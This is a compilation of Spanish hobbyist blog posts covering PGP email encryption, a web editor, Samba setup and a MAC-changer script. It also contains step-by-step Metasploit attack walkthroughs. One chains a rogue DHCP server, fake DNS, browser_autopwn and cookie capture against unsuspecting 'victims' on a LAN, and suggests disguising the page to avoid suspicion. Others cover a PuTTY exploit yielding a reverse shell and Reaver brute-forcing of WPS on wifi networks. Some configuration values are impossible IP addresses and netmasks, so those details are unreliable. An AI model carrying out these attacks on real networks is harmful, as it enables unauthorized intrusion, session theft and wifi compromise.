Thunderbird y Enigmail. Mete en un sobre tus correos anda...

  Quizá los de mi quinta no hemos llegado a conocer bien el uso de la carta escrita que con tanto acerbo guardan nuestros padres aquellas de cuando novios o de la mili. Mas de uno hemos de pensar dos veces para recordar a qué lado del sobre habíamos de marcar el remitente y cual se reservaba para la dirección de envio.
  Bien cierto es que los correos electrónicos se han comido literalmente el correo ordinario, pero es sorprendente ver lo poco que a la mayoría les interesa la privacidad de éste, incluso en los momentos en que sabemos que mandamos información personal o delicada. Y es que antes metíamos un papel en un sobre que, aunque no fuera mucho, protegía nuestro mensaje de miradas indiscretas. Hoy, con unas alarmantes estadísticas que dicen que al menos 50 millones de equipos DOMÉSTICOS (esto es UNO de cada VEINTE) están infectados por algún tipo de virus o malware, según Kaspersky, y eso sin entrar en servidores privados, es mucho más que posible que un pequeño script de apenas 20 kb este haciendo un bypass a nuestro puerto SSL y rompiendo de esta forma el poco cifrado de los servidores de e-mail habituales. También habría que destacar las técnicas de phising (robo de identidad o identidad falsa) que pululan por la red, la exposición de nuestro correo en cada nodo responsable de su envío... comprometiendo más si cabe nuestra privacidad.
  Sabiendo esto es ahora cuando debería entrar en juego la preocupación del usuario y, implantar medidas para asegurar su privacidad y, ya que hablamos de correo electrónico, quiero introducir al usuario preocupado, en el uso de claves PGP para cifrar y evitar el phising en nuestros correos.
  PGP o Pretty Goo Privacy (Así como suena XD) es una medida de cifrado entre un emisor y un receptor de información basada en claves públicas y privadas. Cada uno ha de generar un par de claves, una de ellas será pública, destinada a compartir con quienes desean enviarle correo cifrado, y otra se usará para cifrar y descifrar lo recibido de manera privada. Intento explicarlo copiando un párrafo de un pequeño curso de criptografía asimétrica que se puede descargar aquí:

"Entonces, Agustín y Bernardo, deciden utilizar criptografía asimétrica.
Agustín y Bernardo crean cada uno un par de claves Pública y Privada. Vamos a llamarlas E(A), E(B), D(A) y D(B), siendo E(A) la clave pública de Agustín, E(B) la clave pública de Bernardo, D(A) la clave privada de Agustín y D(B) la clave privada de Bernardo.
1) Agustín le envía a Bernardo E(A) y Bernardo le envía a Agustín E(B).
2) Agustín cifra con E(B) los datos que le quiere mandar a Bernardo y Bernardo cifra con E(A) los datos que le quiere mandar a Agustín.
3) Agustín descifra con D(A) los datos que recibió de Bernardo y Bernardo descifra con D(B) los datos que recibió de Agustín.
4) Eva, lo único que puede ver en el canal, son las dos claves públicas y los datos cifrados, entonces, esta no va a poder ver los datos que Agustín y Bernardo comparten.

Canal seguro: OK!!"

  Una vez entendido esto, vamos a aplicarlo utilizando Mozilla Thunderbird como gestor de correo (que, al menos, todavía no se sabe que deje acceso a la NSA para fisgar nuestros correos por contrato como cierto programa de cuyo nombre...) y el complemento Enigmail que, de forma gráfica y sencilla nos permitirá cifrar nuestro correo y administrar las claves públicas de nuestros contactos.

  Si no lo tenemos ya, descargamos Thunderbird desde aquí: https://www.mozilla.org/es-ES/thunderbird/ y lo instalamos normalmente. Para descargar el complemento de enigmail, lo hacemos desde https://addons.mozilla.org/es/thunderbird/addon/enigmail/ y, desde Thunderbird, con su menú de la derecha, nos vamos a complementos. Desde allí, con otro menú a la derecha de la barra de búsqueda elegimos instalar desde archivo y seleccionamos la descarga de el complemento. Reiniciamos Thunderbird y un intuitivo asistente nos preguntará si necesitamos ser guiados en la configuración de las claves y demás. Aceptamos y lo seguimos. Tras responder a unas preguntas y marcar nuestras preferencias, enigmail empezara a captar datos aleatorios generados por el sistema y nos recomendará usar nuestro navegador etc, para acelerar el proceso de creación de claves.
  Ahora cuando enviemos correo a uno de nuestros contactos que nos ha proporcionado su clave pública, el correo se firmará automáticamente (si así lo hemos seleccionado en el asistente) y desde el menú desplegable de OpenPGP se nos dará también la opción de cifrarlo. Cuando recibamos correo cifrado de uno de nuestros contactos éste debería aparecer plenamente visible si hemos iniciado sesión con nuestra clave privada.

  

 Por hoy es todo, ahora toca aplicar estas medidas poco a poco con tus contactos. Es mejor insistir en el uso de estas técnicas que lamentar no haberlas implementado y visto lo visto, cualquier precaución es poca.

  ¡Salud!

BlueFish. Diseñando webs en Linux

  El caso es que me he agenciado un dominio y viendo que ando un poco verde con esto del diseño web, he decidido ponerme manos a la obra (o mejor ojos al manual) e hincar los codos antes de dar el paso de alquilar un hosting decente. Pese a disponer de un completo libro de diseño en Adobe Dreamweaver, (regalo de cumpleaños con muy buenas intenciones y poco uso previsto) mi moral anti windows me lleva a darme de cabeza con el poco respaldo que he visto al único programa GNU con este fin.

  Bluefish se puede encontrar en los repositorios oficiales de Ubuntu y Debian y para instalarlo solo es necesario un simple sudo apt-get install bluefish desde la consola o bien buscarlo en el centro de software.
  Como dicen en su página web http://bluefish.openoffice.nl/index.html y viéndolo un poco por encima:
  "Bluefish is a powerful editor targeted towards programmers and webdevelopers, with many options to write websites, scripts and programming code. Bluefish supports many programming and markup languages."
  Y si que parece soportar lenguajes, C, cfml, ColdFussion, Gettext po, HTML, Java, Pascal, Perl, Python, PHP, XML y alguno más que me dejaré por ahi. No obstante aún no se utilizarlo y lo único que he encontrado ha sido la guía que está disponible en su web, por supuesto, en inglés.
  Si alguno de los que pasarais por aquí consigue encontrar algo decente que me haga no tener que descifrar y empollarme un divertido y entretenido ladrillo en el bendito idioma sajón, le estaré eternamente agradecido ;)

  En cuanto al estado de la página y sus pocas actualizaciones... Pues eso, dame tiempo que estoy intentando montar algo que vaya más allá que un simple blog y, por suerte o por desgracia, lo que me vuelve a sobrar ahora es tiempo.

  ¡Salud y hasta otra!

Browser autopwn & fake DNS & DHCP spoofing con Metasploit

##Se ve que google no quiere que suba las capturas de pantalla que tenía pensadas. Cuando me deje edito y las planto en el texto.

Continuando con Metasploit, hoy voy a contar como realizar un ataque efectivo dentro de un entorno de red local. Para ello conseguiremos redirigir a las víctimas a nuestro servidor apache previamente infectado con una carga de exploits,  que se ejecutarán en nuestro objetivo u objetivos. Para lograrlo cargaremos desde metasploit un servidor DHCP que se encargará de dar las direcciones IP falseando la ruta del DNS a nuestro servidor. También usaremos metasploit para montar el DNS envenenado que redirigirá las solicitudes a nuestro apache.
Primero, y para estar seguros de que contamos con los últimos exploits públicos y añadidos a Metasploit, actualizamos la aplicación desde la terminal:
sudo msfupdate

Cuando se descarguen e instalen las actualizaciones, si las hay, entramos en la consola de msf:
sudo msfconsole

Ahora procedemos a crear el DNS falso entrando al módulo propio de metasploit con:

use auxiliary/server/fakedns

Ahora  teclearemos en comando info para ver las opciones del módulo. En principio, no cambiaremos nada salvo TARGETHOST (set TARGETHOST)  dejando éstas opciones:
SRVHOST - 0.0.0.0 #Esto nos indica el servidor sobre el que funcionará el módulo DNS

SRVPORT - 53 #Valor del puerto en el que escuchará el demonio
TARGETACTION - bypass #Aquí se concreta el método de actuación del demonio. Este puede ser bypass, para dar una ruta válida a la dirección escrita en TARGETDOMAIN, o fake para la acción contraria (resolver solamente las aparecidas en TARGETDOMAIN)
TARGETDOMAIN - google.com #Rutas para resolver (o no) según el valor de TARGETACTION
TARGETHOST - 192.168.1.87 # Esta es la dirección de nuestra máquina en la que activaremos el servidor apache envenenado, la vuestra probablemente sea otra.

Con todo esto configurado solo nos queda dar la orden de run para que se inicie el demonio.
Una vez activado el DNS entraremos en el módulo del DHCP que, si todo va bien, será mas rápido que el propio router y falseará la tabla de direcciones dando como DNS nuestro demonio envenenado.

use auxiliary/server/dhcp
info

Usando el comando set dejaremos las opciones de la siguiente forma:

DHCPIPEND - 192.168.1.350  #Esta variable no es absolutamente necesaria no obstante nos marcará con facilidad que máquinas están envenenadas y cuales siguen siendo legítimas.
DHCPIPSTART - 192.168.300 #Con esto definimos el rango de IPs que empezará a dar nuestro demonio.
DNSSERVER - 192.168.1.87 #La dirección de nuestro servidor en el que escucha el DNS falso
NETMASK - 255.255.255.1 # Aquí indicamos el valor de la máscara de nuestra subred.
ROUTER - 192.168.1.1 #La dirección de salida de las peticiones resueltas.
SRVHOST - 192.168.1.87 #Dirección del host sobre el que trabajará el demonio DHCP

Con esto configurado solo nos queda dar la orden de ejecución run y pasar a configurar el módulo browser autopwn.

use auxiliary/server/browser_autopwn
info

Con el comando set de nuevo, cambiamos tres valores:

LHOST - 192.168.1.87 #La dirección local para configurar los payloads de cada exploit.
SRVPORT - 8080 #Puerto de escucha del módulo, que sea distinto al 80 ya que este lo ocuparemos en el siguiente paso.
URIPATH - / #La Ubicación de los exploits dentro del demonio de apache que creará el módulo.

Mandamos la activación con un run y nuestra terminal se empezará a llenar de lineas que nos indican los exploits activados escondidos en nuestro servidor http. Hay muchos que cargar y le costará un rato.
 El último paso requiere llamar a un módulo que se encargará de escuchar en el puerto 80 de nuestra máquina, capturando las cookies de la víctima a base de falsear autenticaciones de ciertas páginas web (definidas en /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/) y redirigir la solicitud a los distintos exploits que cargamos con browser autoPWN. Llamamos al módulo

use auxiliary/server/capture/http
info

Con la orden set definimos las valores:
AUTOPWN_HOST - 192.168.1.87 #La dirección IP en la que corre browser autoPWN
AUTOPWN_PORT - 8080 #Puerto
AUTOPWN_URI - / #La dirección dentro del servidor http.

Activamos el módulo con un run y tenemos nuestra trampa preparada y aguardando nuevas víctimas.
Como cualquier ataque que falsea el DHCP en una red local, la metodología es la siguiente. Tarde o temprano un nuevo cliente se autenticará en la red y, salvo que tenga normas de no solicitar una dirección IP al servidor DHCP legítimo (es decir, el del router u otra máquina de la red) mandará una solicitud ARP a la dirección de broadcast preguntando dónde está el servidor DHCP. Lo normal sería que solo una máquina contestase a ésta petición y comenzase una negociación cliente-servidor. Pero cuando hay dos servidores DHCP ante una petición, el cliente negociará siempre con el que menos tiempo tarde en contestar. Así pues se inicia una carrera entre el servidor legítimo y nuestro DHCP spoofeado. Normalmente, cuando competimos con uno alojado en un router, gracias a la sencillez del módulo de Metasploit y a que, en la mayoría de los casos, nuestro procesador estará menos atareado y será mas eficiente, seremos nosotros quienes contestemos primero a la solicitud.
El módulo DHCP falseado otorgará una dirección IP, una máscara de red y una puerta de enlace tan legítimas y válidas como las que hubiera podido dar el servidor real. Lo que cambiamos es la dirección DNS (Domain Name Resolution, que como bien sabéis se encarga de "traducir" las direcciones tipo google.com, ebay.es... que por si solas no significan nada a la hora de enrutar los paquetes de datos,  por direcciones IPv4 o IPv6 legibles y necesarias para la capa de red, según el modelo OSI.) por la dirección de nuestra máquina.
¿Qué conseguimos con esto? Pues podemos dar direcciones IP falsas para el nombre que nos pide el cliente, haciendo, por ejemplo, que si una víctima, teclea en su navegador http://www.cristianos.es para acceder a su foro favorito a despotricar sobre la clonación de embriones humanos con fines médicos y defender las teorías de creacionismo y el sexo con fines de procreación, nuestro DNS envenenado le diga que la IP que está buscando es, por ejemplo, esta: 64.88.241.153
Pero nosotros como atacantes no nos quedamos ahi. Nuestra intención es redirigir a la víctima para que entre a nuestro servidor web así que las direcciones falseadas darán nuestra IP en la red local.
¿Qué pasa si entran? Pues que hemos cargado un buen puñado de exploits dentro de nuestro host esperando que nuestra incauta víctima sea redirigida hacia ellos gracias a nuestro programilla de captura http que está corriendo en el puerto 80. Cuando alguien entra en nuestra página web, se encuentra con esto mientras los exploits se van ejecutando en su sistema.

Que si bien no es muy agradable ni inspira mucha confianza, podemos afilar  nuestras armas editando el fichero html /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/index.html para dar la impresión de un error o un mensaje de espera que no haga sospechar a la víctima.
Si el ataque tiene éxito, es decir, si alguno de los exploits consigue vulnerar el sistema y ejecutar su payload, se creará una conexión víctima-atacante (reverse TCP)que podremos vislumbrar con el comando:
sessions
desde la consola de metasploit.
Todo es cuestión de tender nuestro cepo y esperar. Requiere, como casi todo en el mundo de la informática, paciencia. Mucha paciencia.

¡Saludos y hasta otra!

Metasploit instalación y toma de contacto

Si hay una herramienta, que a fuerza del paso del tiempo, se ha convertido en recurrente para cualquier aficionaddo o profesional al pentesting, esta es Metasploit. A decir verdad, está mal tratar a metasploit como una herramienta ya que en sí es un potente conjunto de ellas. Metasploit por si solo nos brinda todos los recursos que podemos usar en una prueba de penetración común y no solo eso sino que además nos permite modificar y añadir complementos para personalizar nuestros ataques además de integrarse perféctamente con bases de datos SQL que permitirán guardar nuestros progresos e información.
Vamos a instalarlo y a probar como se lanza un exploit o se ejecutan los módulos integrados. Primero descargamos el instalador desde ésta página: http://www.metasploit.com/download/ Elegimos el que más se adapte a nuestro sistema operativo y descargamos (le costará un rato). Ahora nos vamos a la consola, obtenemos privilegios de root y navegamos a la carpeta de desgargas para darle permisos de ejecución al archivo .run que hemos descargado.
sudo su
cd Descargas
chmod +x metasploit-latest-linux-x64-installer.run
./metasploit-latest-linux-x64-installer.run
Así ejecutaremos un cómodo instalador que nos guiará durante el proceso. Cuando concluya, despues de elegir los puertos que usará el programa para sus servicio, se ejucutara el entorno gráfico por el servidor http en la dirección localhost:3790, el cual nos pedirá un registro y una clave que obtendremos gratuitamente en el correo que registremos.

Metsploit tiene varias interfaces de usuario pero es mejor iniciarse desde un principio con su consola ya que nos permite una mayor interacción con las herramientas que componen esta fabulosa framework. Para iniciarla escribimos desde la consola, siempre con privilegios de root: msfconsole
Tras una breve espera (le custa unos segundos cargar) aparecerá el banner y un prompt msf > esperando órdenes. Lo primero que aremos será teclear la orden msfupdate para actualizar la base de datos de Metasploit y descargar nuevos módulos, exploits o payloads que hubiese disponibles. La actualización utiliza el protocolo git así que asegúrate de permitir el tráfico en el puerto 9418 desde tu firewall. Cuando la actualización concluye se supone que hemos descargado los últimos exploits publicados en los repositorios de Metasploit, así que toma por costumbre actualizar cada poco tiempo.
Bien, la interacción con esta framework es bastante sencilla. Cada servidor, escáner, exploit o payload funciona como un módulo configurable. Para ver los módulos disponibles nos basta con teclear el comando "show". Ya que contamos con multitud de módulos, es preferible acompañar show de lo que queremos que se nos muestre, por ejemplo, exploit, auxiliary, payloads, encoder, plugins... para saber con qué podemos concretar cada comando, basta con escribirlo y pulsar el tabulador un par de veces.
Vamos a ver como se programaría y lanzaría un exploit en Metasploit. Como ejemplo usaremos "putty_msg_debug", que provoca un buffer overflow en el programa putty.exe (que es una herramienta para gestionar y establecer conexiones ssh, telnet etc.) en versiones anteriores a la 0.53. Para seleccionarlo basta con teclear tras el prompt: use exploit/windows/ssh/putty_msg_debug y pulsar intro. Entonces el prompt cambiará indicandonos el módulo en el que nos encontramos. El siguiente paso antes de lanzarlo es, obviamente, configurarlo y para ello primero debemos ver las opciones que nos da. Tecleamos info para que la consola nos devuelva las opciones básicas y algo de información del exploit.

 Este exploit en concreto tiene mas bien poco que configurar. Nos indica, y podemos intuir que es un código que permanecerá a la escucha como servidor ssh esperando que un usuario se conecte con el programa adecuado, en este caso putty desde windows, y una vez conectado lanzará una orden. Ésta leida por el programa a explotar, provocará un bug del tipo buffer overflow, que nos permitirá ejecutar código en la máquina objetivo. En la tabla de basic options vemos los requisitos básicos tales como SRVHOST (Host servidor) que como nos indica, debe configurarse con una dirección en localhost o bien quedarse en 0.0.0.0 . Lo dejaremos tal cual. La opción SRVPORT se refiere al puerto concreto sobre el que estaría corriendo el servidor ssh en nuestro pc, ubicado por defecto en el 22. Las otras tres opciones tratan la opción de incluir certificados SSL que no explicaré aquí. Pongamos que nuestra honeypot, nuestro anzuelo, es un servidor falso que en un "despiste" o "imprudencia" tiene el puerto 5009 utilizado por un demonio ssh sin medidas de autenticación. Ningún atacante que escanee nuestros puertos podrá resistirse a semejante carnaza. Para cambiar el puerto de escucha del exploit al que tiene nuestro demonio ssh teclearemos el comando set seguido del parámetro a cambiar; SRVPORT y el valor; 5009 quedando así la línea: set SRVPORT 5009 .
Una vez cambiados los valores pertinentes y dando todo por configurado solo queda lanzar el exploit escribiendo: exploit. Metasploit ejecutará el módulo poniendolo a la escucha en el puerto indicado y activará un servicio de escucha para el payload por defecto que creará una conexión al puerto 4444 desde la víctima dándonos una sesión de meterpreter (una shell preconfigurada por metasploit). Es decir, que si alguien se conecta a nuestro servidor ssh abierto con una versión de putty.exe anterior a 0.53 se lanzará una orden al programa que provocará un fallo aprovechable para ejecutar el payload predefinido por metasploit abriendo una conexión en la víctima hacia nuestra máquina en el puerto 4444 que previamente estará escuchando nuestro handeler. Si el ataque surte efecto la consola nos lo indicará con un aviso de session opened y tecleando sessions -l nos mostrará el identificador de las sesiones abiertas que usaremos para iniciar la interacción con la shell obtenida ejecutando un sessions seguido del identificador y el flag -i. sessions 1 -i

De momento es todo. Profundizaremos mucho mas en esta framework creando ataques automatizados, detallando como hacer el famoso karmametaspliot, explorando el módulo auxiliar browser autopwn y su potencial combinandolo con un servidor dhcp y fake dns.... Tiempo al tiempo.
Hasta la próxima!

Reaver, bombardeo a WPS

WPS (Wifi Protect Setup) Es un estándar que, lamentablemente, viene a demostrarnos cómo a veces se sacrifica la seguridad para facilitar la interacción del usuario que, como media, cada vez tiene menos conocimientos de informática. Este estándar fué creado para facilitar la configuración de las redes inalámbricas protegidas con WPA y WPA2. Básicamente, y sin profundizar demasiado, se basa en un sistema que mediante una clave de 10 dígitos (Hay otras como la PBC o NFC o inclusive por USB que no nos interesan ahora), configura de forma automática las credenciales SSID y PSK para obtener la clave y autenticación.
El problema de esta función es que suele ser vulnerable a un ataque de fuerza bruta (prueba y error) y en pocas horas podemos tener acceso al dispositivo.
Reaver, es uno de los programas creados con ese fin, probar una y otra vez las variaciones de esos 10 dígitos hasta dar con la clave correcta. Vamos a descargarlo e instalarlo desde la consola de comandos:

sudo su
cd pentest
wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz
tar -xf reaver-1.4.tar.gz

cd reaver-1.4/src/
./configure
make
make install

Reaver funciona de una forma muy básica. Utiliza nuestra interfaz wifi en modo monitor para asociarse con el AP (punto de acceso) y lanzar intentos de identificación WPS. Solo necesitamos llamarle desde la linea de comandos e indicarle la interfaz a usar y la BSSID que queremos atacar. Primero ponemos nuestra wlan en modo monitor con "airmon-ng start wlan0" luego buscamos nuestro objetivo con airodump "airodump-ng mon0". Apuntamos la BSSID de nuestro objetivo y llamamos a reaver "reaver -i mon0 -b xx:xx:xx:xx:xx:xx -vv"

Con un poco de paciencia (no esperen hacerlo en unos minutos, en ocasiones puede tardar más de un día, depende de la conexión y las reglas del router.) reaver acabará dándonos el pin así como la contraseña WPA/WPA2.
Por hoy es todo.
¡Hasta otra!

Script en bash para cambiar la mac

Para el que pedía scripts, ahí va uno:

#!/bin/bash

# Este script cambia la dirección MAC la tarjeta ethernet por una nueva que
# se genera de manera pseudoaleatoria.

mac_gen() {

RANGE=256
i=0

n=$RANDOM
let "n %= $RANGE"
let r=n%2
let n=n+r
n=`printf '%x\n' $n`

mac=`printf $n:`

while [ $i -lt 5 ]; do

    n=$RANDOM
    let "n %= $RANGE"
    n=`printf '%x\n' $n`

    if [ $i -lt 4 ]; then
         mac=${mac}`printf $n:`
    fi

    if [ $i = 4 ]; then
         mac=${mac}`printf $n`
    fi

    let i=i+1

done

}

mac_gen

echo MAC: $mac

exec ifconfig eth0 hw ether $mac

Ubuntu server II

En el último post dejamos el servidor funcionando y entablamos una conexión por ssh para no necesitar disponer de un segundo teclado y pantalla a la hora de operar. Hoy configuraremos el demonio de samba que nos permitirá navegar por los discos duros que compartamos en nuestro Ubuntu server tal y como de una carpeta en nuestro sistema se tratase. Además añadiremos un servidor de ftp que nos permita compartir archivos vía web.
Lo que haremos será configurar el servidor samba orientado exclusivamente a nuestra red local que nos dará compatibilidad total con maquinas tanto Linux como Windows.
Primero hemos de crear o seleccionar una carpeta a compartir. En mi caso, he instalado un viejo disco duro de 500 gigas sobre el que no está implantado el sistema, con esto quiero decir que, para poder acceder a él, primero he de montarlo. Esto, con el comando mount no es un problema en si, pero si reinicio el servidor, debería volver a montar manualmente el disco cada vez y esto no es productivo. Para remediarlo voy a pedir al sistema que lo monte con cada arranque en la carpeta que luego compartiré con samba y ftpd que será /home/chaosnet/compartido/ . Como la carpeta no existe, vamos a crearla. Lo primero de todo, sobra decir, nos identificamos en el sistema como root.

sudo su
cd /home/chaosnet/
mkdir compartido

Ahora editaremos el fichero encargado de montar las particiones y los discos en el arranque de Linux, este fichero se llama fstab y se encuentra en /etc/ . Antes de meternos con él, necesitaremos saber algun detalle de el disco/partición que vamos a montar, para ello, llamamos al comando blkid que nos dará una tabla con los discos y particiones que tenemos en el servidor. Apuntamos el dígito de UUID (en mi caso 0F62EA1009625EE2) y el TYPE o tipo de sistema (NTFS) del disco que deseemos montar. Ahora si, nos vamos a editar el fichero fstab.
 Hacemos antes de nada una copia de seguridad y lo abrimos con nano:

cp /etc/fstab /etc/fstabOLD
nano /etc/fstab

Al final del archivo añadimos lo siguiente:
UUID=0F62EA1009625EE2 #(el código que hemos sacado de blkid)
Presionamos el tabulador y añadimos la carpeta donde queremos que se monte:
/home/chaosnet/compartido
Tabulador y el tipo de sistema de archivos de nuestra partición:
ntfs-3g
Otro tabulador y declaramos las opciones:
default
Un tabulador más y definimos el dumpeo, 0 para desactivarlo
0
El ultimo tabulador para definir fsck o un chequeo del disco. Lo dejamos desactivado:
0
En mi caso la línea quedaría así:
UUID=0F62EA1009625EE2                /home/chaosnet/compartido         ntfs-3g      default    0         0
Recuerda que los espacios son tabulaciones. Si quieres aprender más sobre fstab aquí os dejo un enlace: http://www.linuxstall.com/fstab/ es una guía en inglés pero muy completa.
Una vez hecho esto guardamos y salimos (CTRL+O y CTRL+X) y mandamos un reinicio del sistema para comprobar que todo ha ido bien:

reboot

Cuando el sistema rearranque y tras volver a identificarnos con ssh nos dirigimos a la carpeta en la que debería estar montado nuestro disco y hacemos un ls para comprobarlo.

cd /home/chaosnet/compartido
ls

Si se muestran los archivos de la unidad es que todo a ido bien.
Ahora comenzaremos con samba.
Toda la configuración de samba esta escrita en el fichero /etc/samba/smb.conf y será este el que hemos de manipular, no sin antes hacer una copia de seguridad. Primero nos identificamos como root:

sudo su
cp /etc/samba/smb.conf /etc/samba/smb.confOLD
nano /etc/samba/smb.conf

Ahora, dentro del fichero, buscaremos la linea que empieza por workgroup en el apartado de global settings que tendrá un valor predefinido de WORKGROUP. Vamos a cambiarlo por el que queramos, por ejemplo, samba.
workgroup = samba
Las siguientes lineas que añadiremos al final del del archivo definirán las carpetas que compartiremos mediante samba, en mi caso será /home/chaosnet/compartido ajusta este ejemplo a tu caso:
[public]
comment = Archivos compartidos #Comentarios de la compartición
path = /home/chaosnet/comapartido #Directorio de la compartición
public = yes #Si será publico (yes) o privado (no)
writable = yes #Si se podrá escribir en ella por los usuarios (yes/no)

Podemos compartir tantas carpetas como deseemos agregando este texto las veces que sean necesarias. Cuando todo esté acabado guardamos y salimos y solo nos quedará recargar el servidor:
/etc/init.d/smbd reload

Siento el retraso por la entrada, cuestiones laborales. Para el próximo configuramos el ftp y el domino.
Hasta otra.